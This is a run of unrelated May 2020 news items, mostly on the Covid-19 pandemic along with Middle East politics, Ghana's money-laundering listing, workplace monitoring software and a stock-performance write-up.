Sir Paul Nurse, the director of the Francis Crick Institute and Nobel Prize winner, said he was desperate for clear leadership at all levels and suggested responsibility for dealing with the virus had been similar to a game of pass the parcel.

Speaking to BBC Radio 4s Today programme, the geneticist was also critical of the initial lack of Covid-19 testing, insisting smaller laboratories could have been used across the country to increase capacity and said that hospitals became potentially unsafe places to be.

Im not quite sure we are getting it right, and I think you're quite right to say that everybody involved - not just the politicians, the scientists and the doctors - we're all making mistakes, Sir Paul said.

And we have to try and learn from what mistakes have been made up until now. I get a sense the UK has been rather too much on the back foot, increasingly playing catch-up, fire-fighting through successive crises.

How coronavirus lockdowns changed the world's most polluted cities Show all 6 1 /6 How coronavirus lockdowns changed the world's most polluted cities How coronavirus lockdowns changed the world's most polluted cities Milan, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities North Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Venice, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities New Delhi, India REUTERS How coronavirus lockdowns changed the world's most polluted cities Islamabad, Pakistan REUTERS

Addressing leadership during the crisis, Sir Paul went on: "The question I keep asking myself is: Do we have a proper government system in here that can combine tentative knowledge, scientific knowledge, with political action?

And the question I'm constantly asking myself is: Who is actually in charge of the decisions? Who is developing the strategy and the operation and implementation of that strategy? Is it ministers? Is it Public Health England? The National Health Service? The Office for Life Scientists, Sage? I don't know, but more importantly, do they know?"

It was little like pass the parcel. No clear lines of responsibility. Im desperate for clear leadership at all levels.

On demands for a public inquiry, Sir Paul added: I dont think we should initiate a formal inquiry now. We should do it later. What we need is more openness, we need to have greater debate in the public domain, we need to recognise when we dont understand things and communicate that to the public.

We have lions on the frontline of clinical care, we need lions also in the leadership so that we can actually drive this forward. I wouldnt investigate them at the moment, I would just demand more of them.

Responding to his remarks, Brandon Lewis, the Northern Ireland secretary, told the BBC: I just wouldnt agree with that. What weve seen through this actually is we as a government have been very clear with people, very transparent with people.

The prime minister himself has been very clear that the prime minister is ultimately responsible. We do want to follow the best advice that is out there from both the scientific advisers and our chief medical advisers and the teams there, but ultimately it is the ministers who make decisions.
When she ran for governor, Rhode Island had the nations highest unemployment rate. The state had been the nations  arguably, the worlds  jewelry workshop, until much of the manufacturing decamped to China. The exodus included the Bulova watch company, which had employed 1,000, including her father, who became unemployed at 56. She wears a Bulova on her wrist but says the main reason she ran for governor was that previous administrations had not repositioned Rhode Island for a changed world. She has done this by entrepreneurial federalism  making the state attractive to business, including the nations first offshore wind farm.
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The Fish Protein Concentrate Market research report provides the latest industry data, growth, key segments and future trends on the basis of the detailed study. Moreover, this market report also allowing you to identify the opportunity and growth rate of the leading segment, revenue growth and profitability.

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Accusing the Congress of playing "cynical" over the COVID-19 crisis, the BJP said on Friday the opposition party's president Sonia Gandhi and her "family" have "indulged in drama" at the time of a national catastrophe.

BJP spokesperson G V L Narasimha Rao hit back at the Congress after Sonia Gandhi slammed the Narendra Modi government, claiming that it has abandoned any pretence of being democratic and forgotten the spirit of federalism.

The government's Rs 20 lakh crore package and its details have turned to be a "cruel joke" on the country, Gandhi said at a meeting of opposition parties.

Hitting back, the BJP said it is the Congress president and her daughter Priyanka Gandhi Vadra who have "played cruel jokes and cynical on migrant workers".

"They did nothing for migrant workers except the mother-daughter duo making some grand announcements. Except indulging in drama and petty at a time of national crisis, Sonia and her family did nothing to contribute to nation's united fight against the pandemic," Rao said in a statement.

"Never before have a principal opposition party indulged in such cynical politics and the Congress will pay a political price for playing negative politics," the Rajya Sabha MP claimed.

Congress-ruled state governments have shown utter lack of sensitivity towards the migrants and refused to allow their own citizens to use Shramik special trains, he alleged.

"The whole world is appreciative of our handling of the COVID-19 crisis and the lockdown strategy in controlling the spread of the pandemic in India. Sonia Gandhi is perhaps regretting why India didn't turn out to be like her native Italy," Rao said.

Only today, he noted, a study by the Indian Statistical Institute (ISI) showed how India averted 20 lakh cases and up to 78,000 deaths by imposing the lockdown timely and implementing it effectively.

Every relaxation, like inter-state travel of migrants on Shramik special trains or of bringing home Indians stranded abroad by Vande Bharat evacuation flights, has been allowed with elaborate Standard Operating Procedures (SOPs), to be strictly followed by all state governments, Rao said.

The strategy to exit the lockdown has been designed in a very thoughtful and systematic manner, he added.

The BJP leader said Prime Minister Narendra Modi's leadership in successfully controlling the COVID-19 challenge has been praised by world leaders.

"The Gandhi family is unable to digest the fact that PM Modi has emerged as truly a global leader and his image has surpassed that of every leader from its dynasty," he claimed.

Addressing a meeting of 22 opposition parties convened through video-conferencing to discuss the situation arising out of the coronavirus pandemic, Sonia Gandhi alleged that the government is uncertain about the criteria for enforcing lockdowns and has no exit strategy it.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
It might seem bad, but the worst that can happen when you buy a stock (without leverage) is that its share price goes to zero. But in contrast you can make much more than 100% if the company does well. For instance the One Media iP Group Plc (LON:OMIP) share price is 129% higher than it was three years ago. How nice for those who held the stock! And in the last month, the share price has gained 7.8%. But this could be related to good market conditions -- stocks in its market are up 7.6% in the last month.

Check out our latest analysis for One Media iP Group

To quote Buffett, 'Ships will sail around the world but the Flat Earth Society will flourish. There will continue to be wide discrepancies between price and value in the marketplace...' One imperfect but simple way to consider how the market perception of a company has shifted is to compare the change in the earnings per share (EPS) with the share price movement.

One Media iP Group was able to grow its EPS at 56% per year over three years, sending the share price higher. This EPS growth is higher than the 32% average annual increase in the share price. So it seems investors have become more cautious about the company, over time.

The company's earnings per share (over time) is depicted in the image below (click to see the exact numbers).

AIM:OMIP Past and Future Earnings May 22nd 2020

It is of course excellent to see how One Media iP Group has grown profits over the years, but the future is more important for shareholders. It might be well worthwhile taking a look at our free report on how its financial position has changed over time.

What about the Total Shareholder Return (TSR)?

We'd be remiss not to mention the difference between One Media iP Group's total shareholder return (TSR) and its share price return. The TSR attempts to capture the value of dividends (as if they were reinvested) as well as any spin-offs or discounted capital raisings offered to shareholders. One Media iP Group's TSR of 131% for the 3 years exceeded its share price return, because it has paid dividends.

Story continues

A Different Perspective

It's nice to see that One Media iP Group shareholders have received a total shareholder return of 26% over the last year. That's including the dividend. There's no doubt those recent returns are much better than the TSR loss of 5.4% per year over five years. The long term loss makes us cautious, but the short term TSR gain certainly hints at a brighter future. While it is well worth considering the different impacts that market conditions can have on the share price, there are other factors that are even more important. To that end, you should learn about the 5 warning signs we've spotted with One Media iP Group (including 2 which is shouldn't be ignored) .

For those who like to find winning investments this free list of growing companies with recent insider purchasing, could be just the ticket.

Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on GB exchanges.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
A Journal-Courier survey of online readers in the region shows a majority of those responding understood the reasons for the state issuing a stay-at-home directive, although many others viewed the measure as unnecessary or an infringement on their rights.

The survey, conducted last week, was designed to gauge west-central Illinois residents thoughts on topics related to COVID-19 and measures put into place to slow the spread of the disease.

The majority, 45.5%, considered the stay-at-home order vital to stemming the spread of the virus, and 11.4% said it was necessary, although it has become highly inconvenient. Some 23% of those surveyed said the order was an infringement of their freedom and 20.5% considered such action only necessary in larger cities.

Pritzker issued the order for people to shelter in place in mid-March, limiting travel to necessary trips for food and supplies and closing non-essential businesses.

Of those who responded to the survey, 59.1% said they were concerned about the virus but not scared, while 18.2% said they were notat all scared and 13.6% said they were somewhat worried.

In addition to the stay-at-home order, Pritzker also has issued several guidelines for those who leave their homes, including wearing masks inside businesses and outside if social distancing cannot be maintained.

More than half of respondents said they follow social-distancing guidelines always or sometimes. Roughly 56.8% said they always follow social-distancing guidelines, while 34.1% said they sometimes follow guidelines and 9.1% say they do not follow social-distancing guidelines.

One respondent said education on basic health practices is needed.

There needs to be more education to everyone on how immunity works and also how simply washing hands often, not shaking hands, and staying home when sick would be a better way to combat the spread of diseases rather than forcing people to wear masks and stay home when not ill, one respondent said.

In response to questions about the handling of the pandemic, 43.2% of respondents gave their local government a ranking of 4 out of 5, with 1 being the lowest rank, 20.5 % gave it a 3, and 27.2% gave it a 2 or under.

At the state level, a fourth of respondents said the response was a 1, while 29.5% gave the state a 5.

A majority of respondents gave the federal response a ranking of 3 or below. Roughly 27.3% gave the federal government a rank of 1, with the same percentage giving a rank of 2. Just more than 20% gave a rank of 4 to the federal response, while 9.1% gave it a rank of 5.

Though some questioned the response by the government, many said they are following rules and guidelines set forth by authorities.

Roughly 59% say they always wear a mask in public, with just under 16% saying they do not wear a mask and 25% saying they sometimes wear a mask.

I just wish people would take it seriously, buckle down, and get it over with, one person commented. This refusal to follow directions is only going to prolong the experience for everyone.

More than half of respondents said they were somewhat or greatly affected by the stay-at-home order.

Just 13.6% of respondents said the order hasnt had a significant impact on them or their families, while 52.3% said they have been somewhat inconvenienced and 34.1% said they have been greatly inconvenienced.

While some support the statewide closure, other said the orders need to be more community-focused, rather than widespread.

I think it should be a county-by-county basis, a respondent said. Our local authorities should determine, not the governor. We do not have the issues that Chicago has and should not have the same mandates that they have.

Other numbers from the survey:

 38.6% of respondents said the pandemic has made them more fearful for the health of their families

 38.6% said it has made them more cautious but not really worried

 9.1% said it hasnt affected their mental health at all

 9.1% said it has made them extremely anxious or worried. Just under 5% said it has made them a little scared.

 77.3% said they believe some people are following safety recommendations

13.6% believe no one is following safety guidelines

31.8% believe it will be six months to a year before the COVID-19 virus is no longer a concern in the United States

 29.5% said it will be a year or more before it is no longer a concern

 9.1% said the virus isnt a problem now
New Delhi, May 22 : Delhi Cabinet Minister Rajendra Pal Gautam on Friday directed for fast resolution of pending pension cases, while presiding over a review meeting on ongoing welfare schemes with officials of Women and Child Development (WCD) and Social Welfare Departments.

In an official statement, the WCD Department said that in the light of the coronavirus lockdown, the department was experiencing difficulty in the implementation of various schemes which had led to pendency of cases.

"It has come to my notice that a lot of grievances related to pensions remain unresolved. I have directed both the departments to review the pendency and resolve them on a fast-track basis. Clear instructions have been given that if the grievances are not addressed on time, departments will take strict action against officers concerned," Gautam said.

The Minister also reviewed the status of all the programmes under the Integrated Child Development Scheme (ICDS).

Special focus was on the status of vaccination programmes for children and distribution of nutritional supplements to the beneficiaries under ICDS.

"Our mission is to eradicate malnourishment in children by strengthening the primary healthcare system through anganwadis. We aim to provide nutritious food to the children by adding more nutritional supplements like peanuts and sprouted gram," he said.

In the meeting, the Minister also lauded the work done by the government staff during the lockdown.

"Our staff who worked day and night to provide relief to the people in Delhi are our corona warriors. The WCD Department has been providing milk packets, nutritious biscuits, and food supplements to children. Our staff went beyond their call of duty to help people in Delhi during this lockdown," Gautam added.
Iran's supreme leader on Friday called Israel a cancerous tumour that will undoubtedly be uprooted and destroyed in an annual speech in support of the Palestinians, renewing threats against Iran's archenemy in the Middle East.

Supreme Leader Ayatollah Ali Khamenei's speech marked a subdued Quds Day for Iran, which typically sees government-encouraged mass demonstrations in Tehran and elsewhere in the Islamic Republic, as well as Iranian-allied nations.

Al-Quds is the Arabic name for Jerusalem.

Due to the coronavirus pandemic, Iran largely asked demonstrators to stay home.

Khamenei spoke to the nation in a 30-minute speech aired on state television, a rare address by the supreme leader as other officials in the past gave the keynote speech.

He repeatedly referred to Israel as a cancer or tumour during the speech, criticizing the US and the West for equipping it with various kinds of military and non-military tools of power, even with atomic weapons.

The Zionist regime is a deadly, cancerous growth and a detriment to this region, Khamenei said.

It will undoubtedly be uprooted and destroyed. Iran under the US-allied Shah Mohammad Reza Pahlavi had relations with Israel.

After the 1979 Islamic Revolution, Ayatollah Ruhollah Khomeini ordered the first Quds Day be held on the last Friday of the holy Muslim fasting month of Ramadan to criticize Israel.

The late Palestinian Liberation Organisation leader Yasser Arafat was among the first people invited to Iran after the revolution.

Today, Iran and Israel remain enemies and Israel is believed to be behind airstrikes targeting Iranian forces in Syria.

Iran meanwhile supports the Lebanese militant group Hezbollah.

Responding to Khamenei, Israeli Prime Minister Benjamin Netanyahu said in a statement that "whoever threatens Israel with destruction puts himself in similar danger.

Khamenei also compared Israel to the coronavirus during the speech, while saying his anti-Israeli views were not anti-Semitic.

However, in the days running up to Friday, his office released a cartoon graphic showing smiling Iranian-backed forces, Arabs and two Orthodox Jews in Jerusalem under a headline that included the phrase the final solution.

Nazi Germany used the phrase final solution to describe its plan for the Holocaust, in which its forces killed 6 million Jews in World War II.

The image later was deleted from Khamenei's Twitter account and other places, though it remains on the Farsi-language version of his official website.

Israel's Foreign Ministry offered a tweet of its own over the picture, writing: We have experience with leaders who talk about "final solutions," and we promise: Not on our watch.
Ghana has questioned the credibility of the methodology and the process used by the European Commission to add the country to its list of countries with strategic deficiencies in their Anti-Money Laundering and Countering the Financing of Terrorism (AML/CFT) regimes.



In a press statement issued on May 21, 2020, by the Ministry of Finance said the decision was "unfortunate," regrettable and lacked consultation.



It said the position of the European Commission was contrary to its earlier posture on Ghana's 'dirty money' regime at Paris, France, in February this year [2020].



The Ministry, therefore, assures the general public and the investor community that Ghana would continue to work with relevant institutions to redeem its nation and bolster its image as a stable nation in Africa.



The press release was in response to a May 7, 2020 press statement from the EC that announced its recommendation that Ghana and 12 other countries be deemed as countries with strategic deficiencies in AML/CFT.



The addition of the Ghana to the list was the second time in two years, although an earlier one in February 2019 waa later withdrawn upon the advice of the European Parliament.



In its first comment on the development, the Ministry of Finance said: "Just as the methodology used to publish a similar list on February 13, 2019, which was eventually withdrawn due to lack of clarity and transparency in the process of identifying third countries, we consider the methodology used to come up with this new list once again unfortunate."



"It is instructive to state that, the European Commission has not engaged Ghana concerning any shortcomings that needed to be addressed nor was the country given the opportunity to implement corrective measures."



"On the contrary, when Ghanas progress report was being discussed at the last Financial Action Task Force (FATF) Plenary meetings held in Paris, France on February 19-21, 2020, no adverse comment came from the EC."



"It is therefore a surprise that the EC would add Ghana to her list of high risk third countries barely three months afterwards," the statement said.



It added that the country had also received commendations from the FATF on the progress of work in correcting identified deficiencies and, further wondered why the EC would ignore all these and 'blacklist' the country.





Read a copy of the full statement below



PRESS RELEASE FOR IMMEDIATE RELEASE





RE: COMMISSION STEPS UP FIGHT AGAINST MONEY LAUNDERING AND TERRORIST FINANCING



Accra, 21st May, 2020...Ghana regrets the May 7, 2020 publication by the European Commission (EC) proposing to the European Union Parliament to add Ghana to its list of high risk third countries with strategic deficiencies in their Anti-Money Laundering and Countering the Financing of Terrorism (AML/CFT) regimes. Ghana over the years has demonstrated a strong commitment to strengthening its AML/CFT regime. Indeed, the Financial Action Task Force (FATF), the global standard setting on AML/CFT has always acknowledged Ghanas efforts in enhancing its AML/CFT regime at various platforms of which the EC is always represented.



Just as the methodology used to publish a similar list on February 13, 2019 which was eventually withdrawn due to lack of clarity and transparency in the process of identifying third countries, we consider the methodology used to come up with this new list once again unfortunate. It is instructive to state that, the European Commission has not engaged Ghana concerning any shortcomings that needed to be addressed nor was the country given the opportunity to implement corrective measures. On the contrary, when Ghanas progress report was being discussed at the last FATF Plenary meetings held in Paris, France on February 19-21, 2020, no adverse comment came from the EC. It is therefore a surprise that the EC would add Ghana to her list of high risk third countries barely three months afterwards.



Following the discussion of Ghanas Mutual Evaluation Report by FATF during their plenary meetings in October 2018, FATF identified some strategic deficiencies in the countrys AML/CFT framework. FATF has thus worked with Ghana to draw up a two year Action Plan (2019 -2020) which Ghana is on course to completing.



The country has since been having periodic face-to-face meetings with the International Country Risk Group ICRG to assess the progress of implementation of the Action Plan. The last face-to-face meeting was from 15-17 January, 2020 in Rabat, Morocco. It is worth mentioning that, since the Action Plan was adopted, Ghana has consistently demonstrated a high level of political commitment to implementing the Action Plan and has always received positive commendations from the FATF. Indeed, the ICRG in their report to the FATF Plenary meetings in February, 2020 acknowledged that all timelines due have been met and some action items addressed even ahead of their timelines.



The European Commissions proposal to include Ghana in their list of jurisdictions with strategic deficiencies therefore does not reflect the current status of Ghanas AML/CFT regime. The EUs blanket decision to include all countries on the FATF list irrespective of the progress made is unfortunate. The Government of Ghana is always ready to engage with the Commission about the true status of the countrys AML/CFT regime and efforts being made to strengthen same. Ghana is confident about exiting the FATF list by December 2020 as per the agreed Action Plan with FATF. Ghana has an enviable reputation as a Pillar of Stability in Africa and We are committed to ensuring that Ghana becomes the most attractive Africa destination for investment. END



ISSUED BY THE PUBLIC RELATIONS UNIT



MINISTRY OF FINANCE

Source: Daily Graphic









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A Syrian doctor living in Germany is being investigated on suspicion of carrying out crimes against humanity at a military hospital in the war-torn country, a report in Spiegel magazine Friday said.

Federal prosecutors suspect the man of beating and torturing men arrested by the Syrian regime while working as a doctor in the hospital in the city of Homs, the report said.

The federal prosecutors office in the southwestern city of Karlsruhe declined to comment when approached by AFP.

The man, identified only as Hafiz A., reportedly moved to Germany in 2015 and now lives and works as a doctor in the state of Hesse.

Two witnesses told investigators that the man and a colleague withheld medication from an epileptic patient and then forced him to take a pill that caused his condition to rapidly deteriorate.

The doctor and other men finally beat the patient to death, the witnesses have alleged. His family is said to have found his body the next day with bloody wounds on his face and holes in his skull.

Two further witnesses, former doctors at the military hospital, said the man had also intentionally operated on an opponent of the regime without anaesthetic.

He is also alleged to have poured alcohol onto another mans genitals and then set him on fire.

The accused has informed his lawyer that he denies all the accusations, the report said.

According to the UK-based Syrian Observatory for Human Rights monitoring group, at least 60,000 people have been killed under torture or as a result of terrible conditions in detention centres since the start of the uprising against Syrian president Bashar al-Assad in March 2011.

In April, the first court case worldwide over state-sponsored torture by the Assad regime opened in Germany.

The two defendants are being tried on the principle of universal jurisdiction, which allows a foreign country to prosecute crimes against humanity.

Germany has taken in more than 700,000 Syrian refugees since the start of the conflict.
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Employee monitoring software sales has skyrocketed as bosses find new ways to keep track of their staff working from home - including an app that follows worker movements.

International monitoring program Hubstaff recorded a 200 per cent spike in trials across Australia since mid-March.

'Since March 15th, average Hubstaff trials have nearly doubled,' Hubstaff marketing head Courtney Cavey told Daily Mail Australia.

'With so many companies forced to move to a virtual work environment, they're looking for a way to keep tasks organized and teams focused.'

The company gives bosses a full-blown rundown of employee activity in real time - from keyboard and mouse usage to even URL tracking.

Employee monitoring software sales has skyrocketed as bosses find new ways to keep track of their staff working from home - including an app that follows worker movements (stock image)

International monitoring program Hubstaff recorded a 200 per cent spike in trials across Australia since mid-March (pictured, a screenshot showing a worker's location)

'Time tracking to tasks helps them know when employees are working and on what without interrupting them,' Ms Cavey said.

Hubstaff can also provide a screenshot of the worker's computer and an update on their location at any given time of the day.

An online time sheet automatically records when a staff member signs in and out of their work session.

'Activity level measuring can help spot productive times of days that might indicate critical focus periods, or burnout from a heavy workload or overscheduling,' Ms Cavey said.

The monitoring software program boasts on its website it takes more than 8.5million screenshots and tracks over 700,000 hours of work each month.

The data is then processed to give an overall productivity score of worker performance.

Monash University's Emerging Technologies Research Lab research fellow Jathan Sadowski told ABC employee monitoring software could be used as a means of bosses exerting unchecked powers over workers.

The data is then processed to give an overall productivity score of worker performance

Hubstaff can also provide a screenshot of the worker's computer and an update on their location at any given time of the day

He added many worker's rights and privileges risked being sidelined in the name of productivity.

'I don't want to mince words here  these are technologies of discipline and domination  they are ways of exerting power over employees,' he said.

'Even the most intrusive over-the-shoulder manager is not literally there taking pictures of your screen, recording your keystrokes.'

Monitoring software company Controli's Alexander Makhanev said employees had the power to turn the software on and off and that the software was only to be used during work hours.

He added only bosses could access the employee data and that such information remained safe from third parties.
(Bloomberg) -- President Donald Trump didnt wear a face mask during most of his tour of Ford Motor Co.s ventilator facility Thursday, defying the automakers policies and seeking to portray an image of normalcy even as American coronavirus deaths approach 100,000.

He told reporters he had put on a mask in the back area of the plant in Ypsilanti, Michigan, and didnt want to give them the pleasure of seeing him with it.

I was given a choice, he said. And I had one on in an area where they preferred it, so I put it on. And it was very nice. Look, very nice. But they said theyre not necessary. He added that he had also worn goggles.

Trump held up a dark-colored mask bearing the presidential seal. He said he had been tested for the coronavirus earlier in the day and didnt need to cover his face.

The U.S. Centers for Disease Control and Prevention has recommended wearing face coverings in public settings where social distancing measures are difficult to maintain, and experts on the presidents coronavirus task force have said masks are useful in preventing the spread of the virus from those who are unaware they have it.

Many companies continuing operations during the pandemic have instituted requirements that workers wear protective gear, including masks, while on the job. Ford has released a 64-page return-to-work playbook that states: Face masks are required to be worn by everyone, in all facilities, at all times.

Although Ford shared details of its safety policies with the White House, it ultimately deferred to the president and his staff.

The company said Ford Chairman Bill Ford encouraged President Trump to wear a mask when he arrived. He wore a mask during a private viewing of three Ford GTs from over the years. The president later removed the mask for the remainder of the visit.

The United Auto Workers union criticized Trump for not wearing a mask in public view.

It is vitally important that our members continue to follow the protocols that have been put in place to safeguard them, their families and their communities, the union said in a statement noting that 25 of its members had died of the virus. These protocols are literally a matter of life and death.

Michigan Attorney General Dana Nessel, a Democrat, said in an open letter Thursday that the president had a social and moral responsibility to take precautions to prevent further spread of the virus. Nessel subsequently told CNN that if Trump fails to wear a mask, hes going to be asked not to return to any unclosed facilities inside our state.

We are just asking that President Trump comply with the law of our state, just as we would make the same request of anyone else in those plants, Nessel said.

Asked about his plans before he left the White House on Thursday, Trump was noncommittal, but said I want to get our country back to normal.

After a visit late last month to the Mayo Clinic in Minnesota, Vice President Mike Pence was criticized for disregarding clinic rules requiring face masks. He has been spotted wearing a mask at some subsequent events, including a trip to a Florida nursing home on Wednesday.

Polling shows a partisan divide over masks. Just over three-quarters of Democrats say wearing a face mask is a matter of public health, while 51% of Republicans agree, according to a survey released this week by YouGov and HuffPost. And while 11% of Republicans say there is no benefit to wearing a mask, just 3% of Democrats share that opinion.

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Construction of a new $749 million Sydney Fish Market is set to start in the second half of this year, after the state government listed it among a new batch of 24 projects to have their planning assessments accelerated.

Subject to it gaining final planning approval within the next four weeks, the Fish Market complex at Blackwattle Bay at Pyrmont in the inner city will be opened to the public in 2024.

An artist's impression of the new Sydney Fish Market building at the head of Blackwattle Bay. Credit:NSW government

NSW Planning Minister Rob Stokes said the Fish Market project had been anticipated for some time, and it was "already in the system so it had been submitted and it's been through public exhibition".

"This is just an opportunity for an incredible facility to be built on the shores of Blackwattle Bay, obviously subject to the approval processes being completed over the next four weeks," he said.
A man in his 50s has been arrested following a two-year ongoing investigation on foot of intelligence received from the Property Registration Authority (PRA).

Gardai said that the man, "acting in a professional capacity, is suspected of submitting false deeds to the PRA stating the ownership of two properties had transferred from one entity to a second entity."
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Linkedin Ni Komang Erviani (The Jakarta Post) Denpasar  Fri, May 22, 2020 13:16 608 fc6853813033f564188675f8bd99c4a1 1 National Bali-Airport,Bali-Governor-Wayan-Koster,COVID-19,PCR-test,swab-test Free

Anyone with plans to visit Bali must first undergo a swab test and a obtain letter stating they are free from COVID-19 under a new policy issued by the Bali administration that will take effect later this month in order to curb transmission of the disease on the world-renowned resort island.

From May 28, everyone visiting Bali is required to have undergone a polymerase chain reaction (PCR) test, Bali Airport Authority head Elfi Amir said.

We urge everyone and all airlines to ensure this has been done before flying to Bali, all passengers must already have PCR test results declaring they are negative for COVID-19. The document should be checked at the airport prior to departure, Elfi told The Jakarta Post on Thursday.



Elfi explained that a virtual coordination meeting had been conducted on Thursday to notify all related stakeholders of the new policy, including airlines.

The airport authority and the Bali COVID-19 Task Force will recheck the swab test results of all passengers upon arrival at I Gusti Ngurah Rai International airport.

Read also: Bali named among top post-pandemic destinations

If any passenger arrives without a swab test result, the airport authority will let the task force take action.

We will also reprimand the airline for not following the regulation, Elfi emphasized.



Bali Governor Wayan Koster sent a letter to the transportation minister on May 18, requesting the swab test results be made a requirement to enter the island through the airport.

However, in the same letter, the governor did not request similar a requirement for people entering the island through the seaport.



For those entering the island through the seaport, Koster only requested a rapid test result issued by a public hospital, regional health agency or other authority that declares a person negative for COVID-19.

The rapid test result and swab test result should be valid for at least seven days after the arrival day at Balis airport.

Bali COVID-19 Task Force executive chairman, Dewa Made Indra, reiterated that everyone planning to visit Bali must have the COVID-19-free letter when they buy the ticket. Visitors must also register at the provincial website https://cekdiri.baliprov.go.id , which will provide a QR code that can be shown when buying the ticket as a proof that the passengers are healthy.

The policy is required for everyone except flight attendants who only transit in Bali.

The policy was made to limit people from traveling. So, for those who have no important and urgent interest, it is better to delay their trip, Dewa said.

Read also: Bali's Denpasar to impose COVID-19 restrictions that keep businesses running



He explained that swab test requirement was not out of line. He said the administration was not asking for privileges or special treatment, but was only seeking to follow the central governments plan to make Bali the first region to recover from the COVID-19 outbreak.



Dewa Indra said the administration appreciated the central governments plan to make Bali the first COVID-19 free area.

However, it is not a simple thing. It will be a long road as [the outbreak] is not over yet. Bali wants to tightly control who enters Bali, both Indonesians and

foreigners, because all people are possible COVID-19 carriers, he said.

The swab test, he said, was needed to filter those seeking to enter to prevent further transmission on the island.

As the policy will come into effect on May 28, Dewa said all airlines needed to begin disseminating information to their future passengers.
Palestinian President Mahmoud Abbas waves in Ramallah, in the occupied West Bank - MOHAMAD TOROKMAN /Reuters

This article was originally published in Letter from Jerusalem, our weekly newsletter which takes a deeper look at the people and places of the Israeli-Palestinian conflict. You can sign up for free here.

Late on Tuesday night, Mahmoud Abbas, the Palestinian president, declared that the Palestinian Authority was no longer bound by its agreements with Israel and the US  including those on security cooperation.

The dramatic announcement was delivered around midnight after a meeting of Palestinian leaders in Ramallah. It reflects deep anxiety across the Arab world about proposals for annexation of the West Bank.

The Palestine Liberation Organization [PLO] and the state of Palestine are absolved, as of today, of all the agreements and understandings with the American and Israeli governments and of all the commitments based on these understandings and agreements, including the security ones, said Mr Abbas.

On the surface, it sounds like a big shift in policy that could have severe ramifications for stability in both Israel and the Palestinian territories.

And it is true that the proposed annexation of up to 30 per cent of the West Bank, as envisioned by President Donald Trumps peace plan, risks triggering a wave of violence in the region.

But first, some caveats: the Palestinian Authority has threatened to scrap the current terms of its relationship with Israel many times before.

It is not immediately clear whether Mr Abbas will now follow through with his latest threat, and he has not given specific details on what happens next.

For example, does this mean Palestinian security forces will cut all ties with their Israeli counterparts and offer no assistance on counter-terrorism or maintaining public order?

The short answer is that we dont know yet, and until we do it is difficult to predict what the fallout from this latest announcement will be.

Secondly, it is not clear what the PA stands to gain by withdrawing from security cooperation with Israel  this focuses mostly on Hamas, which the PA increasingly regards as a political rival in the West Bank.

Story continues

In other words, security cooperation has some mutual benefit for both Israel and the Palestinian Authority.

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That said, Mr Abbas announcement does speak to the extreme sensitivity around annexation both in the West Bank and across the Arab world.

It follows, for example, a warning by Jordan that Israel would be on track for a massive conflict if it pushes ahead with annexation, which is unanimously opposed by the Arab League.

And then there is the issue of the EU, which may not be Israels closest friend, but is nonetheless an important partner in trade and security.

Officials in Brussels are already mulling sanctions on Israel if the annexation goes ahead. Britain, now outside the EU, is also opposed on the grounds that it would undermine stability in the region.

Analysts believe that Mr Abbas statement may have been intended mostly for domestic consumption, a pep talk for Palestinians who are understandably concerned about what annexation may bring.

But the timing of the announcement is unusual. We still dont know what form the Israeli annexation would take  will it mean huge swathes of the West Bank being placed under Israeli control? Or will the move be watered down significantly amid fierce opposition from world leaders?

The PA says that annexation in any form would be a crime. But at this stage, it is too early to know what exactly will take place after July 1, the date when Israels prime minister will be allowed to call a vote on annexation.

And as a result, Mr Abbas bold statement raises more questions than it answers.
Union Health Minister Harsh Vardhan, who is at the forefront of India's battle against COVID-19, will take charge as the chairman of the 34-member WHO Executive Board on Friday, officials said.

Vardhan would succeed Dr Hiroki Nakatani from Japan.

The proposal to appoint India's nominee to the executive board was signed by the 194-nation World Health Assembly on Tuesday.

Last year, WHO's South-East Asia group had unanimously decided to elect India's nominee to the executive board for a three-year-term beginning May.

The chairman's post is held by rotation for one year among regional groups and it was decided last year that India's nominee would be the Executive Board chairman for the first year starting Friday.

It is not a full-time assignment and the minister will just be required to chair the Executive Board's meetings, an official said.

The Executive Board comprises 34 individuals, technically qualified in the field of health, each one designated by a member-state elected to do so by the World Health Assembly. Member States are elected for three-year terms.

The board meets at least twice a year and the main meeting is normally in January, with a second shorter meeting in May, immediately after the Health Assembly.

The main functions of the executive board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work.

Addressing the 73rd World Health Assembly via video conferencing on Monday, Vardhan had said India took all the necessary steps well in time to combat the COVID-19 pandemic.

He had asserted that the country has done well in dealing with the disease and is confident of doing better in the months to come.

India is set to take over the chairmanship of the Executive Board amid growing calls, including by US President Donald Trump, to investigate how the coronavirus originated in China's Wuhan city and subsequent action by Beijing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-22 14:12:38|Editor: huaxia

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UNITED NATIONS, May 21 (Xinhua) -- China's Permanent Mission to the United Nations on Thursday held a virtual event to celebrate the first International Tea Day.

The inception of International Tea Day has given tea new life and vitality. With the shared love for tea, people of all countries could work together to build a better and more harmonious world, said Zhang Jun, China's permanent representative to the United Nations.

Tea is a good partner in our endeavor to promote the harmonious coexistence between man and nature, to protect Mother Earth, and to achieve green development, he told the virtual event co-organized by the Chinese mission and the Food and Agriculture Organization.

Tea is a good business that can lift farmers from poverty and help attain the Sustainable Development Goals and also a catalyst for friendship that can bring people closer together, promote trade and build an interconnected world, Zhang added.

The UN General Assembly adopted a resolution in December 2019 to designate May 21 as International Tea Day. Enditem
 

1
A military field hospital in eastern France set up to relieve the strain on emergency rooms, has been dismantled and deployed to the overseas department of Mayotte, which is facing an uphill battle against Covid-19.

As the coronavirus crisis eases and permanent hospitals in France are able to better manage the load, a field hospital in Mulhouse in the country's east has begun scaling back its operations.

Out of the structure's 30 beds, ten comprising ventilators and intensive care units, have already been dismantled.

Another 20 beds remain operational, with a dozen currently occupied by patients on life support.

